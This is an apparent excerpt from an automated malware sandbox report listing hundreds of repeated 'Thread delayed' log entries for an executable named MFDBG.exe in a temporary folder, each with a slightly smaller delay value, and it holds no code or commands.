Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593246	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592116	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589342	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589136	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588736	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587847	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587682	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587461	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586636	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586436	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586049	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585545	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584988	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583699	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583510	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582448	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582091	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581175	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580775	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580355	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580041	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579874	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579480	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576995	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575506	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575191	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574731	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574559	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571811	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571615	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569753	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569585	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569399	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569161	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568960	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568601	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567556	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567340	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566975	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566815	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566607	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565841	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565622	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564556	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564349	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563602	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563478	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562660	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562460	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562268	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561966	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561512	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560620	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560446	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560255	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560074	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559365	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557839	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557650	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557248	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556759	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556595	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556252	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555831	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555599	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555058	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554902	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554181	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553803	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553389	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553192	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552982	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552780	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551545	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550542	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550357	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549872	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549683	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548009	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544820	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543436	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542700	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542512	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542053	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541883	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541697	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541073	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540443	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539400	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539180	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538961	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538266	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537502	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537150	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536176	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536003	Jump to behavior
